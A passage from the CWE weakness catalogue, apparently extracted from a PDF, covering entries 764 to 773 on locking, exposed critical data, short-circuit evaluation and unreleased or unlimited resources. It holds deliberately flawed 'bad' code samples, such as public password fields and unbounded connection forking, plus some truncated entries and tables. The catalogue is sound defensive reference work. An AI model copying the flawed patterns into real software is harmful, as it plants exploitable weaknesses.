While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C *(good)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep));
}
free( input )
```

MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1944
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2019

Notes

Maintenance

This area of the view CWE-1000 hierarchy needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

CWE-764: Multiple Locks of a Critical Resource

Weakness ID : 764 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software locks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		675	Duplicate Operations on Resource	1316
ChildOf		667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	DoS: Resource Consumption (CPU) DoS: Crash, Exit, or Restart Unexpected State	

Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the

software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	1952

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID : 765 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-766: Critical Data Element Declared Public

Weakness ID : 766 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software declares a critical variable, field, or member to be public when intended security policy requires it to be private.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Read Application Data Modify Application Data *Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.*	
Other	Reduce Maintainability	

Potential Mitigations

Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

Demonstrative Examples

Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

Example Language: C++ *(bad)*

```
public: char* password;
```

Instead, the critical data should be declared private.

Example Language: C++ *(good)*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

Example Language: C++ *(bad)*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
    public:
        UserAccount(char *username, char *password)
        {
            if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
                ExitError("Invalid username or password");
            }
            strcpy(this->username, username);
            strcpy(this->password, password);
        }
    int authorizeAccess(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
        (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        // if the username and password in the input parameters are equal to
        // the username and password of this account class then authorize access
        if (strcmp(this->username, username) ||
        strcmp(this->password, password))
            return 0;
        // otherwise do not authorize access
        else
            return 1;
    }
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

Example Language: C++ *(good)*

```
class UserAccount
{
public:
    ...
private:
    char username[MAX_USERNAME_LENGTH+1];
    char password[MAX_PASSWORD_LENGTH+1];
};
```

Observed Examples

Reference	Description
CVE-2010-3860	variables declared public allows remote read of system properties such as user name and home directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3860*

CWE-767: Access to Critical Private Variable via Public Method

Weakness ID : 767 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software defines a public method that reads or modifies a private variable.

Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	275	Permission Issues	1857

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	

Potential Mitigations

Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

Demonstrative Examples

Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

Example Language: C++ *(bad)*

```
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Example Language: Java *(bad)*

```
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNametoUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo. accidentally specified the critical variable UID instead. If the program allows profile IDs to

be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID : 768 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the software's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	*Widely varied consequences are possible if an attacker is aware of an unexpected state in the software after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.*	

Potential Mitigations

Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

Demonstrative Examples

Example 1:

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

Example Language: C *(bad)*

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
    user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add_Regular_Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID : 770 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.*	

Detection Methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause. When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Effectiveness = Opportunistic

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness. Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources

are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Potential Mitigations

Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and

even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C *(bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C *(bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 3:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C *(bad)*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could

simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C *(good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java *(bad)*

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java *(good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

Example 5:

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

Example 6:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

Example Language: C *(bad)*

```
bar connection() {
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) {
        foo=connection();
    }
    endConnection(foo)
}
```

Observed Examples

Reference	Description
CVE-2009-4017	Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts.. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4017*
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2726*

Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID : 771 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID : 772 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

The following code attempts to process a file by reading it in line by line until the end has been reached.

Example Language: Java *(bad)*

```
private void processFile(string fName)
{
    BufferReader in = new BufferReader(new FileReader(fName));
    String line;
    while ((line = in.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The problem with the above code is that it never closes the file handle it opens. The Finalize() method for BufferReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

Example Language: C# *(bad)*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
```

```
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example Language: Java *(bad)*

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

Example 4:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java *(bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 5:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# *(bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 6:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C *(bad)*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0897*

Notes

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID : 773 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

